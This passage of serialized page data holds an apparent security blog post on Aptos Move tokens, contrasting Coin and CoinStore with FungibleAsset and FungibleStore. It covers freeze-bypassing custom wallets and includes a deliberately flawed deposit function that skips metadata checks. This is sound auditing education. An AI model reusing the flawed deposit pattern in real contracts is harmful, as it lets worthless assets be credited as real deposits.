",{"type":23,"tag":56,"props":60103,"children":60105},{"className":60104},[],[60106],{"type":28,"value":60107},"CoinStore",{"type":28,"value":60109}," wrapper to store the coin and metadata:",{"type":23,"tag":494,"props":60111,"children":60113},{"className":1957,"code":60112,"language":1956,"meta":7,"style":7},"struct CoinStore\u003Cphantom CoinType> has key {\n    coin: Coin\u003CCoinType>,\n    frozen: bool,\n    deposit_events: EventHandle\u003CDepositEvent>,\n    withdraw_events: EventHandle\u003CWithdrawEvent>,\n}\n",[60114],{"type":23,"tag":56,"props":60115,"children":60116},{"__ignoreMap":7},[60117,60157,60185,60205,60235,60264],{"type":23,"tag":504,"props":60118,"children":60119},{"class":506,"line":507},[60120,60124,60129,60133,60137,60141,60145,60149,60153],{"type":23,"tag":504,"props":60121,"children":60122},{"style":511},[60123],{"type":28,"value":8383},{"type":23,"tag":504,"props":60125,"children":60126},{"style":1012},[60127],{"type":28,"value":60128}," CoinStore",{"type":23,"tag":504,"props":60130,"children":60131},{"style":523},[60132],{"type":28,"value":4789},{"type":23,"tag":504,"props":60134,"children":60135},{"style":529},[60136],{"type":28,"value":4794},{"type":23,"tag":504,"props":60138,"children":60139},{"style":1012},[60140],{"type":28,"value":4799},{"type":23,"tag":504,"props":60142,"children":60143},{"style":523},[60144],{"type":28,"value":4804},{"type":23,"tag":504,"props":60146,"children":60147},{"style":529},[60148],{"type":28,"value":4809},{"type":23,"tag":504,"props":60150,"children":60151},{"style":529},[60152],{"type":28,"value":4915},{"type":23,"tag":504,"props":60154,"children":60155},{"style":523},[60156],{"type":28,"value":552},{"type":23,"tag":504,"props":60158,"children":60159},{"class":506,"line":540},[60160,60165,60169,60173,60177,60181],{"type":23,"tag":504,"props":60161,"children":60162},{"style":529},[60163],{"type":28,"value":60164},"    coin",{"type":23,"tag":504,"props":60166,"children":60167},{"style":598},[60168],{"type":28,"value":3472},{"type":23,"tag":504,"props":60170,"children":60171},{"style":1012},[60172],{"type":28,"value":4784},{"type":23,"tag":504,"props":60174,"children":60175},{"style":523},[60176],{"type":28,"value":4789},{"type":23,"tag":504,"props":60178,"children":60179},{"style":1012},[60180],{"type":28,"value":5567},{"type":23,"tag":504,"props":60182,"children":60183},{"style":523},[60184],{"type":28,"value":5122},{"type":23,"tag":504,"props":60186,"children":60187},{"class":506,"line":555},[60188,60193,60197,60201],{"type":23,"tag":504,"props":60189,"children":60190},{"style":529},[60191],{"type":28,"value":60192},"    frozen",{"type":23,"tag":504,"props":60194,"children":60195},{"style":598},[60196],{"type":28,"value":3472},{"type":23,"tag":504,"props":60198,"children":60199},{"style":1012},[60200],{"type":28,"value":11032},{"type":23,"tag":504,"props":60202,"children":60203},{"style":523},[60204],{"type":28,"value":2484},{"type":23,"tag":504,"props":60206,"children":60207},{"class":506,"line":633},[60208,60213,60217,60222,60226,60231],{"type":23,"tag":504,"props":60209,"children":60210},{"style":529},[60211],{"type":28,"value":60212},"    deposit_events",{"type":23,"tag":504,"props":60214,"children":60215},{"style":598},[60216],{"type":28,"value":3472},{"type":23,"tag":504,"props":60218,"children":60219},{"style":1012},[60220],{"type":28,"value":60221}," EventHandle",{"type":23,"tag":504,"props":60223,"children":60224},{"style":523},[60225],{"type":28,"value":4789},{"type":23,"tag":504,"props":60227,"children":60228},{"style":1012},[60229],{"type":28,"value":60230},"DepositEvent",{"type":23,"tag":504,"props":60232,"children":60233},{"style":523},[60234],{"type":28,"value":5122},{"type":23,"tag":504,"props":60236,"children":60237},{"class":506,"line":687},[60238,60243,60247,60251,60255,60260],{"type":23,"tag":504,"props":60239,"children":60240},{"style":529},[60241],{"type":28,"value":60242},"    withdraw_events",{"type":23,"tag":504,"props":60244,"children":60245},{"style":598},[60246],{"type":28,"value":3472},{"type":23,"tag":504,"props":60248,"children":60249},{"style":1012},[60250],{"type":28,"value":60221},{"type":23,"tag":504,"props":60252,"children":60253},{"style":523},[60254],{"type":28,"value":4789},{"type":23,"tag":504,"props":60256,"children":60257},{"style":1012},[60258],{"type":28,"value":60259},"WithdrawEvent",{"type":23,"tag":504,"props":60261,"children":60262},{"style":523},[60263],{"type":28,"value":5122},{"type":23,"tag":504,"props":60265,"children":60266},{"class":506,"line":736},[60267],{"type":23,"tag":504,"props":60268,"children":60269},{"style":523},[60270],{"type":28,"value":884},{"type":23,"tag":24,"props":60272,"children":60273},{},[60274,60276,60281,60283,60288],{"type":28,"value":60275},"However, an astute reader would note that this isn't the only place a ",{"type":23,"tag":56,"props":60277,"children":60279},{"className":60278},[],[60280],{"type":28,"value":59945},{"type":28,"value":60282}," can be stored. You can create your own ",{"type":23,"tag":56,"props":60284,"children":60286},{"className":60285},[],[60287],{"type":28,"value":59945},{"type":28,"value":60289}," wallet, which could look like this:",{"type":23,"tag":494,"props":60291,"children":60293},{"className":1957,"code":60292,"language":1956,"meta":7,"style":7},"struct DefinitelyLegitCoinStore\u003Cphantom CoinType> has key {\n    coin: Coin\u003CCoinType>\n}\n",[60294],{"type":23,"tag":56,"props":60295,"children":60296},{"__ignoreMap":7},[60297,60337,60364],{"type":23,"tag":504,"props":60298,"children":60299},{"class":506,"line":507},[60300,60304,60309,60313,60317,60321,60325,60329,60333],{"type":23,"tag":504,"props":60301,"children":60302},{"style":511},[60303],{"type":28,"value":8383},{"type":23,"tag":504,"props":60305,"children":60306},{"style":1012},[60307],{"type":28,"value":60308}," DefinitelyLegitCoinStore",{"type":23,"tag":504,"props":60310,"children":60311},{"style":523},[60312],{"type":28,"value":4789},{"type":23,"tag":504,"props":60314,"children":60315},{"style":529},[60316],{"type":28,"value":4794},{"type":23,"tag":504,"props":60318,"children":60319},{"style":1012},[60320],{"type":28,"value":4799},{"type":23,"tag":504,"props":60322,"children":60323},{"style":523},[60324],{"type":28,"value":4804},{"type":23,"tag":504,"props":60326,"children":60327},{"style":529},[60328],{"type":28,"value":4809},{"type":23,"tag":504,"props":60330,"children":60331},{"style":529},[60332],{"type":28,"value":4915},{"type":23,"tag":504,"props":60334,"children":60335},{"style":523},[60336],{"type":28,"value":552},{"type":23,"tag":504,"props":60338,"children":60339},{"class":506,"line":540},[60340,60344,60348,60352,60356,60360],{"type":23,"tag":504,"props":60341,"children":60342},{"style":529},[60343],{"type":28,"value":60164},{"type":23,"tag":504,"props":60345,"children":60346},{"style":598},[60347],{"type":28,"value":3472},{"type":23,"tag":504,"props":60349,"children":60350},{"style":1012},[60351],{"type":28,"value":4784},{"type":23,"tag":504,"props":60353,"children":60354},{"style":523},[60355],{"type":28,"value":4789},{"type":23,"tag":504,"props":60357,"children":60358},{"style":1012},[60359],{"type":28,"value":5567},{"type":23,"tag":504,"props":60361,"children":60362},{"style":523},[60363],{"type":28,"value":4976},{"type":23,"tag":504,"props":60365,"children":60366},{"class":506,"line":555},[60367],{"type":23,"tag":504,"props":60368,"children":60369},{"style":523},[60370],{"type":28,"value":884},{"type":23,"tag":24,"props":60372,"children":60373},{},[60374,60379,60381,60387,60389,60394,60396,60402,60404,60409],{"type":23,"tag":56,"props":60375,"children":60377},{"className":60376},[],[60378],{"type":28,"value":60107},{"type":28,"value":60380}," includes a ",{"type":23,"tag":56,"props":60382,"children":60384},{"className":60383},[],[60385],{"type":28,"value":60386},"frozen",{"type":28,"value":60388}," field, allowing the issuer to block transfers to and from the store. ",{"type":23,"tag":56,"props":60390,"children":60392},{"className":60391},[],[60393],{"type":28,"value":60107},{"type":28,"value":60395}," is also required for a ",{"type":23,"tag":56,"props":60397,"children":60399},{"className":60398},[],[60400],{"type":28,"value":60401},"burn_from",{"type":28,"value":60403}," operation, which withdraws the ",{"type":23,"tag":56,"props":60405,"children":60407},{"className":60406},[],[60408],{"type":28,"value":59912},{"type":28,"value":60410}," from the store and destroys it. Freezing and burning operations are essential i.e. for stablecoin issuers, using them as compliance tools to prevent unauthorized or illegal transactions and adhere to legal orders. Being able to bypass these restrictions with a custom wallet is an issue and can lead to severe consequences.",{"type":23,"tag":24,"props":60412,"children":60413},{},[60414,60416,60421,60423,60430,60432,60437],{"type":28,"value":60415},"Storing ",{"type":23,"tag":56,"props":60417,"children":60419},{"className":60418},[],[60420],{"type":28,"value":59912},{"type":28,"value":60422}," in a custom wallet is also a problem in terms of off-chain observability, as finding the stored coins in such setup is a difficult task. This is how the fungible asset ",{"type":23,"tag":92,"props":60424,"children":60427},{"href":60425,"rel":60426},"https://github.com/aptos-foundation/AIPs/blob/ac3da48db226cf2dbaf4df6f1f5109a4f1b2e604/aips/aip-21.md",[96],[60428],{"type":28,"value":60429},"AIP-21",{"type":28,"value":60431}," summarizes the ",{"type":23,"tag":56,"props":60433,"children":60435},{"className":60434},[],[60436],{"type":28,"value":59912},{"type":28,"value":60438}," problems:",{"type":23,"tag":1909,"props":60440,"children":60441},{},[60442,60451],{"type":23,"tag":24,"props":60443,"children":60444},{},[60445,60449],{"type":23,"tag":504,"props":60446,"children":60447},{},[60448],{"type":28,"value":8572},{"type":28,"value":60450}," coin module has been deemed insufficient for current and future needs due to the rigidity of Move structs and the inherently poor extensibility.",{"type":23,"tag":24,"props":60452,"children":60453},{},[60454],{"type":28,"value":60455},"The existing Coin struct leverages the store ability allowing for assets on-chain to become untraceable. Creating challenges to off-chain observability and on-chain management, such as freezing or burning.",{"type":23,"tag":24,"props":60457,"children":60458},{},[60459],{"type":28,"value":60460},"And declares, that:",{"type":23,"tag":1909,"props":60462,"children":60463},{},[60464],{"type":23,"tag":24,"props":60465,"children":60466},{},[60467],{"type":28,"value":60468},"Fungible assets addresses these issues.",{"type":23,"tag":24,"props":60470,"children":60471},{},[60472],{"type":28,"value":60473},"Let's find out whether this is indeed the case.",{"type":23,"tag":70,"props":60475,"children":60477},{"id":60476},"the-fungible-assets",[60478],{"type":28,"value":60479},"The fungible assets",{"type":23,"tag":24,"props":60481,"children":60482},{},[60483,60485,60491,60493,60500],{"type":28,"value":60484},"Aptos designed fungible assets as a new token standard to solve these problems. A ",{"type":23,"tag":56,"props":60486,"children":60488},{"className":60487},[],[60489],{"type":28,"value":60490},"FungibleAsset",{"type":28,"value":60492}," uses the ",{"type":23,"tag":92,"props":60494,"children":60497},{"href":60495,"rel":60496},"https://medium.com/@borispovod/move-hot-potato-pattern-bbc48a48d93c",[96],[60498],{"type":28,"value":60499},"hot-potato pattern",{"type":28,"value":3472},{"type":23,"tag":494,"props":60502,"children":60504},{"className":1957,"code":60503,"language":1956,"meta":7,"style":7},"struct FungibleAsset {\n    metadata: Object\u003CMetadata>,\n    amount: u64,\n}\n",[60505],{"type":23,"tag":56,"props":60506,"children":60507},{"__ignoreMap":7},[60508,60524,60554,60574],{"type":23,"tag":504,"props":60509,"children":60510},{"class":506,"line":507},[60511,60515,60520],{"type":23,"tag":504,"props":60512,"children":60513},{"style":511},[60514],{"type":28,"value":8383},{"type":23,"tag":504,"props":60516,"children":60517},{"style":1012},[60518],{"type":28,"value":60519}," FungibleAsset",{"type":23,"tag":504,"props":60521,"children":60522},{"style":523},[60523],{"type":28,"value":552},{"type":23,"tag":504,"props":60525,"children":60526},{"class":506,"line":540},[60527,60532,60536,60541,60545,60550],{"type":23,"tag":504,"props":60528,"children":60529},{"style":529},[60530],{"type":28,"value":60531},"    metadata",{"type":23,"tag":504,"props":60533,"children":60534},{"style":598},[60535],{"type":28,"value":3472},{"type":23,"tag":504,"props":60537,"children":60538},{"style":1012},[60539],{"type":28,"value":60540}," Object",{"type":23,"tag":504,"props":60542,"children":60543},{"style":523},[60544],{"type":28,"value":4789},{"type":23,"tag":504,"props":60546,"children":60547},{"style":1012},[60548],{"type":28,"value":60549},"Metadata",{"type":23,"tag":504,"props":60551,"children":60552},{"style":523},[60553],{"type":28,"value":5122},{"type":23,"tag":504,"props":60555,"children":60556},{"class":506,"line":555},[60557,60562,60566,60570],{"type":23,"tag":504,"props":60558,"children":60559},{"style":529},[60560],{"type":28,"value":60561},"    amount",{"type":23,"tag":504,"props":60563,"children":60564},{"style":598},[60565],{"type":28,"value":3472},{"type":23,"tag":504,"props":60567,"children":60568},{"style":1012},[60569],{"type":28,"value":4843},{"type":23,"tag":504,"props":60571,"children":60572},{"style":523},[60573],{"type":28,"value":2484},{"type":23,"tag":504,"props":60575,"children":60576},{"class":506,"line":633},[60577],{"type":23,"tag":504,"props":60578,"children":60579},{"style":523},[60580],{"type":28,"value":884},{"type":23,"tag":24,"props":60582,"children":60583},{},[60584,60586,60591,60592,60597,60599,60604,60606,60613],{"type":28,"value":60585},"Unlike ",{"type":23,"tag":56,"props":60587,"children":60589},{"className":60588},[],[60590],{"type":28,"value":59945},{"type":28,"value":576},{"type":23,"tag":56,"props":60593,"children":60595},{"className":60594},[],[60596],{"type":28,"value":60490},{"type":28,"value":60598}," types are defined at runtime through the ",{"type":23,"tag":56,"props":60600,"children":60602},{"className":60601},[],[60603],{"type":28,"value":60549},{"type":28,"value":60605}," field. This change was meant to ",{"type":23,"tag":92,"props":60607,"children":60610},{"href":60608,"rel":60609},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-21.md#specification",[96],[60611],{"type":28,"value":60612},"enhance extensibility",{"type":28,"value":3472},{"type":23,"tag":1909,"props":60615,"children":60616},{},[60617],{"type":23,"tag":24,"props":60618,"children":60619},{},[60620],{"type":28,"value":60621},"An object can have other resources attached to provide additional context. For example, the metadata could define a gem of a given type, color, quality, and rarity, where ownership indicates the quantity or total weight owned of that type of gem.",{"type":23,"tag":24,"props":60623,"children":60624},{},[60625,60627,60633],{"type":28,"value":60626},"An important implication is that functions accepting ",{"type":23,"tag":56,"props":60628,"children":60630},{"className":60629},[],[60631],{"type":28,"value":60632},"FungibleAssets",{"type":28,"value":60634}," must verify the metadata to ensure valid assets.",{"type":23,"tag":24,"props":60636,"children":60637},{},[60638],{"type":28,"value":60639},"Let's consider a possible implementation of a protocol that takes in assets.",{"type":23,"tag":494,"props":60641,"children":60643},{"className":1957,"code":60642,"language":1956,"meta":7,"style":7},"public fun deposit\u003CT: key>(\n    sender: &signer, fa: FungibleAsset\n) acquires [...] {\n    assert_not_paused();\n    \n    let fa_amount = fungible_asset::amount(&fa);\n    let sender_address = address_of(sender);\n    check_compliance(fa_amount, sender_address);\n    \n    increase_deposit(get_vault(sender_address), fa_amount);\n    \n    primary_fungible_store::deposit(global_vault_address(), fa);\n    \n    event::emit(Deposit {sender_address, fa_amount})\n}\n",[60644],{"type":23,"tag":56,"props":60645,"children":60646},{"__ignoreMap":7},[60647,60684,60722,60746,60758,60766,60811,60845,60875,60882,60919,60926,60964,60971,61017],{"type":23,"tag":504,"props":60648,"children":60649},{"class":506,"line":507},[60650,60655,60659,60664,60668,60672,60676,60680],{"type":23,"tag":504,"props":60651,"children":60652},{"style":529},[60653],{"type":28,"value":60654},"public",{"type":23,"tag":504,"props":60656,"children":60657},{"style":529},[60658],{"type":28,"value":1051},{"type":23,"tag":504,"props":60660,"children":60661},{"style":529},[60662],{"type":28,"value":60663}," deposit",{"type":23,"tag":504,"props":60665,"children":60666},{"style":523},[60667],{"type":28,"value":4789},{"type":23,"tag":504,"props":60669,"children":60670},{"style":1012},[60671],{"type":28,"value":4971},{"type":23,"tag":504,"props":60673,"children":60674},{"style":598},[60675],{"type":28,"value":3472},{"type":23,"tag":504,"props":60677,"children":60678},{"style":529},[60679],{"type":28,"value":4915},{"type":23,"tag":504,"props":60681,"children":60682},{"style":523},[60683],{"type":28,"value":5572},{"type":23,"tag":504,"props":60685,"children":60686},{"class":506,"line":540},[60687,60692,60696,60700,60704,60708,60713,60717],{"type":23,"tag":504,"props":60688,"children":60689},{"style":529},[60690],{"type":28,"value":60691},"    sender",{"type":23,"tag":504,"props":60693,"children":60694},{"style":598},[60695],{"type":28,"value":3472},{"type":23,"tag":504,"props":60697,"children":60698},{"style":598},[60699],{"type":28,"value":6125},{"type":23,"tag":504,"props":60701,"children":60702},{"style":529},[60703],{"type":28,"value":6130},{"type":23,"tag":504,"props":60705,"children":60706},{"style":523},[60707],{"type":28,"value":576},{"type":23,"tag":504,"props":60709,"children":60710},{"style":529},[60711],{"type":28,"value":60712},"fa",{"type":23,"tag":504,"props":60714,"children":60715},{"style":598},[60716],{"type":28,"value":3472},{"type":23,"tag":504,"props":60718,"children":60719},{"style":1012},[60720],{"type":28,"value":60721}," FungibleAsset\n",{"type":23,"tag":504,"props":60723,"children":60724},{"class":506,"line":555},[60725,60729,60733,60737,60741],{"type":23,"tag":504,"props":60726,"children":60727},{"style":523},[60728],{"type":28,"value":2064},{"type":23,"tag":504,"props":60730,"children":60731},{"style":529},[60732],{"type":28,"value":5327},{"type":23,"tag":504,"props":60734,"children":60735},{"style":523},[60736],{"type":28,"value":566},{"type":23,"tag":504,"props":60738,"children":60739},{"style":598},[60740],{"type":28,"value":8572},{"type":23,"tag":504,"props":60742,"children":60743},{"style":523},[60744],{"type":28,"value":60745},"] {\n",{"type":23,"tag":504,"props":60747,"children":60748},{"class":506,"line":633},[60749,60754],{"type":23,"tag":504,"props":60750,"children":60751},{"style":517},[60752],{"type":28,"value":60753},"    assert_not_paused",{"type":23,"tag":504,"props":60755,"children":60756},{"style":523},[60757],{"type":28,"value":2647},{"type":23,"tag":504,"props":60759,"children":60760},{"class":506,"line":687},[60761],{"type":23,"tag":504,"props":60762,"children":60763},{"style":523},[60764],{"type":28,"value":60765},"    \n",{"type":23,"tag":504,"props":60767,"children":60768},{"class":506,"line":736},[60769,60773,60778,60782,60787,60791,60795,60799,60803,60807],{"type":23,"tag":504,"props":60770,"children":60771},{"style":511},[60772],{"type":28,"value":1977},{"type":23,"tag":504,"props":60774,"children":60775},{"style":529},[60776],{"type":28,"value":60777}," fa_amount",{"type":23,"tag":504,"props":60779,"children":60780},{"style":598},[60781],{"type":28,"value":648},{"type":23,"tag":504,"props":60783,"children":60784},{"style":523},[60785],{"type":28,"value":60786}," fungible_asset",{"type":23,"tag":504,"props":60788,"children":60789},{"style":598},[60790],{"type":28,"value":2457},{"type":23,"tag":504,"props":60792,"children":60793},{"style":517},[60794],{"type":28,"value":19288},{"type":23,"tag":504,"props":60796,"children":60797},{"style":523},[60798],{"type":28,"value":526},{"type":23,"tag":504,"props":60800,"children":60801},{"style":598},[60802],{"type":28,"value":2086},{"type":23,"tag":504,"props":60804,"children":60805},{"style":529},[60806],{"type":28,"value":60712},{"type":23,"tag":504,"props":60808,"children":60809},{"style":523},[60810],{"type":28,"value":630},{"type":23,"tag":504,"props":60812,"children":60813},{"class":506,"line":785},[60814,60818,60823,60827,60832,60836,60841],{"type":23,"tag":504,"props":60815,"children":60816},{"style":511},[60817],{"type":28,"value":1977},{"type":23,"tag":504,"props":60819,"children":60820},{"style":529},[60821],{"type":28,"value":60822}," sender_address",{"type":23,"tag":504,"props":60824,"children":60825},{"style":598},[60826],{"type":28,"value":648},{"type":23,"tag":504,"props":60828,"children":60829},{"style":517},[60830],{"type":28,"value":60831}," address_of",{"type":23,"tag":504,"props":60833,"children":60834},{"style":523},[60835],{"type":28,"value":526},{"type":23,"tag":504,"props":60837,"children":60838},{"style":529},[60839],{"type":28,"value":60840},"sender",{"type":23,"tag":504,"props":60842,"children":60843},{"style":523},[60844],{"type":28,"value":630},{"type":23,"tag":504,"props":60846,"children":60847},{"class":506,"line":813},[60848,60853,60857,60862,60866,60871],{"type":23,"tag":504,"props":60849,"children":60850},{"style":517},[60851],{"type":28,"value":60852},"    check_compliance",{"type":23,"tag":504,"props":60854,"children":60855},{"style":523},[60856],{"type":28,"value":526},{"type":23,"tag":504,"props":60858,"children":60859},{"style":529},[60860],{"type":28,"value":60861},"fa_amount",{"type":23,"tag":504,"props":60863,"children":60864},{"style":523},[60865],{"type":28,"value":576},{"type":23,"tag":504,"props":60867,"children":60868},{"style":529},[60869],{"type":28,"value":60870},"sender_address",{"type":23,"tag":504,"props":60872,"children":60873},{"style":523},[60874],{"type":28,"value":630},{"type":23,"tag":504,"props":60876,"children":60877},{"class":506,"line":851},[60878],{"type":23,"tag":504,"props":60879,"children":60880},{"style":523},[60881],{"type":28,"value":60765},{"type":23,"tag":504,"props":60883,"children":60884},{"class":506,"line":869},[60885,60890,60894,60899,60903,60907,60911,60915],{"type":23,"tag":504,"props":60886,"children":60887},{"style":517},[60888],{"type":28,"value":60889},"    increase_deposit",{"type":23,"tag":504,"props":60891,"children":60892},{"style":523},[60893],{"type":28,"value":526},{"type":23,"tag":504,"props":60895,"children":60896},{"style":517},[60897],{"type":28,"value":60898},"get_vault",{"type":23,"tag":504,"props":60900,"children":60901},{"style":523},[60902],{"type":28,"value":526},{"type":23,"tag":504,"props":60904,"children":60905},{"style":529},[60906],{"type":28,"value":60870},{"type":23,"tag":504,"props":60908,"children":60909},{"style":523},[60910],{"type":28,"value":14157},{"type":23,"tag":504,"props":60912,"children":60913},{"style":529},[60914],{"type":28,"value":60861},{"type":23,"tag":504,"props":60916,"children":60917},{"style":523},[60918],{"type":28,"value":630},{"type":23,"tag":504,"props":60920,"children":60921},{"class":506,"line":878},[60922],{"type":23,"tag":504,"props":60923,"children":60924},{"style":523},[60925],{"type":28,"value":60765},{"type":23,"tag":504,"props":60927,"children":60928},{"class":506,"line":1221},[60929,60934,60938,60943,60947,60952,60956,60960],{"type":23,"tag":504,"props":60930,"children":60931},{"style":523},[60932],{"type":28,"value":60933},"    primary_fungible_store",{"type":23,"tag":504,"props":60935,"children":60936},{"style":598},[60937],{"type":28,"value":2457},{"type":23,"tag":504,"props":60939,"children":60940},{"style":517},[60941],{"type":28,"value":60942},"deposit",{"type":23,"tag":504,"props":60944,"children":60945},{"style":523},[60946],{"type":28,"value":526},{"type":23,"tag":504,"props":60948,"children":60949},{"style":517},[60950],{"type":28,"value":60951},"global_vault_address",{"type":23,"tag":504,"props":60953,"children":60954},{"style":523},[60955],{"type":28,"value":17355},{"type":23,"tag":504,"props":60957,"children":60958},{"style":529},[60959],{"type":28,"value":60712},{"type":23,"tag":504,"props":60961,"children":60962},{"style":523},[60963],{"type":28,"value":630},{"type":23,"tag":504,"props":60965,"children":60966},{"class":506,"line":1276},[60967],{"type":23,"tag":504,"props":60968,"children":60969},{"style":523},[60970],{"type":28,"value":60765},{"type":23,"tag":504,"props":60972,"children":60973},{"class":506,"line":1285},[60974,60979,60983,60988,60992,60997,61001,61005,61009,61013],{"type":23,"tag":504,"props":60975,"children":60976},{"style":523},[60977],{"type":28,"value":60978},"    event",{"type":23,"tag":504,"props":60980,"children":60981},{"style":598},[60982],{"type":28,"value":2457},{"type":23,"tag":504,"props":60984,"children":60985},{"style":517},[60986],{"type":28,"value":60987},"emit",{"type":23,"tag":504,"props":60989,"children":60990},{"style":523},[60991],{"type":28,"value":526},{"type":23,"tag":504,"props":60993,"children":60994},{"style":1012},[60995],{"type":28,"value":60996},"Deposit",{"type":23,"tag":504,"props":60998,"children":60999},{"style":523},[61000],{"type":28,"value":44196},{"type":23,"tag":504,"props":61002,"children":61003},{"style":529},[61004],{"type":28,"value":60870},{"type":23,"tag":504,"props":61006,"children":61007},{"style":523},[61008],{"type":28,"value":576},{"type":23,"tag":504,"props":61010,"children":61011},{"style":529},[61012],{"type":28,"value":60861},{"type":23,"tag":504,"props":61014,"children":61015},{"style":523},[61016],{"type":28,"value":31999},{"type":23,"tag":504,"props":61018,"children":61019},{"class":506,"line":1294},[61020],{"type":23,"tag":504,"props":61021,"children":61022},{"style":523},[61023],{"type":28,"value":884},{"type":23,"tag":24,"props":61025,"children":61026},{},[61027],{"type":28,"value":61028},"Do you see any problems here? The application does not validate or differentiate fungible assets using their metadata, which causes all fungible asset deposits to be treated as identical.",{"type":23,"tag":24,"props":61030,"children":61031},{},[61032],{"type":28,"value":61033},"While these bugs aren't partiularly complex, they do represent an additional vulnerability class that must be checked for.",{"type":23,"tag":70,"props":61035,"children":61037},{"id":61036},"fungible-stores",[61038],{"type":28,"value":61039},"Fungible stores",{"type":23,"tag":24,"props":61041,"children":61042},{},[61043],{"type":28,"value":61044},"As mentioned, fungible assets are hot potatoes, meaning they must be destroyed after each transaction. If they lack abilities, how can they be used?",{"type":23,"tag":24,"props":61046,"children":61047},{},[61048,61050,61056],{"type":28,"value":61049},"Meet the ",{"type":23,"tag":56,"props":61051,"children":61053},{"className":61052},[],[61054],{"type":28,"value":61055},"FungibleStore",{"type":28,"value":320},{"type":23,"tag":494,"props":61058,"children":61060},{"className":1957,"code":61059,"language":1956,"meta":7,"style":7},"struct FungibleStore has key {\n    metadata: Object\u003CMetadata>,\n    balance: u64,\n    frozen: bool,\n}\n",[61061],{"type":23,"tag":56,"props":61062,"children":61063},{"__ignoreMap":7},[61064,61088,61115,61135,61154],{"type":23,"tag":504,"props":61065,"children":61066},{"class":506,"line":507},[61067,61071,61076,61080,61084],{"type":23,"tag":504,"props":61068,"children":61069},{"style":511},[61070],{"type":28,"value":8383},{"type":23,"tag":504,"props":61072,"children":61073},{"style":1012},[61074],{"type":28,"value":61075}," FungibleStore",{"type":23,"tag":504,"props":61077,"children":61078},{"style":529},[61079],{"type":28,"value":8392},{"type":23,"tag":504,"props":61081,"children":61082},{"style":529},[61083],{"type":28,"value":4915},{"type":23,"tag":504,"props":61085,"children":61086},{"style":523},[61087],{"type":28,"value":552},{"type":23,"tag":504,"props":61089,"children":61090},{"class":506,"line":540},[61091,61095,61099,61103,61107,61111],{"type":23,"tag":504,"props":61092,"children":61093},{"style":529},[61094],{"type":28,"value":60531},{"type":23,"tag":504,"props":61096,"children":61097},{"style":598},[61098],{"type":28,"value":3472},{"type":23,"tag":504,"props":61100,"children":61101},{"style":1012},[61102],{"type":28,"value":60540},{"type":23,"tag":504,"props":61104,"children":61105},{"style":523},[61106],{"type":28,"value":4789},{"type":23,"tag":504,"props":61108,"children":61109},{"style":1012},[61110],{"type":28,"value":60549},{"type":23,"tag":504,"props":61112,"children":61113},{"style":523},[61114],{"type":28,"value":5122},{"type":23,"tag":504,"props":61116,"children":61117},{"class":506,"line":555},[61118,61123,61127,61131],{"type":23,"tag":504,"props":61119,"children":61120},{"style":529},[61121],{"type":28,"value":61122},"    balance",{"type":23,"tag":504,"props":61124,"children":61125},{"style":598},[61126],{"type":28,"value":3472},{"type":23,"tag":504,"props":61128,"children":61129},{"style":1012},[61130],{"type":28,"value":4843},{"type":23,"tag":504,"props":61132,"children":61133},{"style":523},[61134],{"type":28,"value":2484},{"type":23,"tag":504,"props":61136,"children":61137},{"class":506,"line":633},[61138,61142,61146,61150],{"type":23,"tag":504,"props":61139,"children":61140},{"style":529},[61141],{"type":28,"value":60192},{"type":23,"tag":504,"props":61143,"children":61144},{"style":598},[61145],{"type":28,"value":3472},{"type":23,"tag":504,"props":61147,"children":61148},{"style":1012},[61149],{"type":28,"value":11032},{"type":23,"tag":504,"props":61151,"children":61152},{"style":523},[61153],{"type":28,"value":2484},{"type":23,"tag":504,"props":61155,"children":61156},{"class":506,"line":687},[61157],{"type":23,"tag":504,"props":61158,"children":61159},{"style":523},[61160],{"type":28,"value":884},{"type":23,"tag":24,"props":61162,"children":61163},{},[61164,61169,61171,61176,61178,61183,61185,61190,61192,61197],{"type":23,"tag":56,"props":61165,"children":61167},{"className":61166},[],[61168],{"type":28,"value":61055},{"type":28,"value":61170}," manages balances and metadata instead of holding the actual ",{"type":23,"tag":56,"props":61172,"children":61174},{"className":61173},[],[61175],{"type":28,"value":60490},{"type":28,"value":61177}," (it can't because ",{"type":23,"tag":56,"props":61179,"children":61181},{"className":61180},[],[61182],{"type":28,"value":60490},{"type":28,"value":61184}," doesn't have ",{"type":23,"tag":56,"props":61186,"children":61188},{"className":61187},[],[61189],{"type":28,"value":4924},{"type":28,"value":61191},"). Withdrawals create temporary ",{"type":23,"tag":56,"props":61193,"children":61195},{"className":61194},[],[61196],{"type":28,"value":60490},{"type":28,"value":61198}," resources, while deposits destroy them and update the balance. This design prevents freezing bypasses and improves observability.",{"type":23,"tag":17774,"props":61200,"children":61201},{},[],{"type":23,"tag":24,"props":61203,"children":61204},{},[61205,61207,61212,61214,61219],{"type":28,"value":61206},"A curious reader might wonder, is there any other way to create or destroy a ",{"type":23,"tag":56,"props":61208,"children":61210},{"className":61209},[],[61211],{"type":28,"value":60490},{"type":28,"value":61213}," besides withdrawing, depositing or minting it? There is — anyone can create and destroy a zero-value ",{"type":23,"tag":56,"props":61215,"children":61217},{"className":61216},[],[61218],{"type":28,"value":60490},{"type":28,"value":320},{"type":23,"tag":494,"props":61221,"children":61223},{"className":1957,"code":61222,"language":1956,"meta":7,"style":7},"public fun destroy_zero(fungible_asset: FungibleAsset) {\n    let FungibleAsset { amount, metadata: _ } = fungible_asset;\n    assert!(amount == 0, error::invalid_argument(EAMOUNT_IS_NOT_ZERO));\n}\n\npublic fun zero\u003CT: key>(metadata: Object\u003CT>): FungibleAsset {\n    FungibleAsset {\n        metadata: object::convert(metadata),\n        amount: 0,\n    }\n}\n",[61224],{"type":23,"tag":56,"props":61225,"children":61226},{"__ignoreMap":7},[61227,61264,61316,61359,61366,61373,61445,61457,61495,61514,61521],{"type":23,"tag":504,"props":61228,"children":61229},{"class":506,"line":507},[61230,61234,61238,61243,61247,61252,61256,61260],{"type":23,"tag":504,"props":61231,"children":61232},{"style":529},[61233],{"type":28,"value":60654},{"type":23,"tag":504,"props":61235,"children":61236},{"style":529},[61237],{"type":28,"value":1051},{"type":23,"tag":504,"props":61239,"children":61240},{"style":517},[61241],{"type":28,"value":61242}," 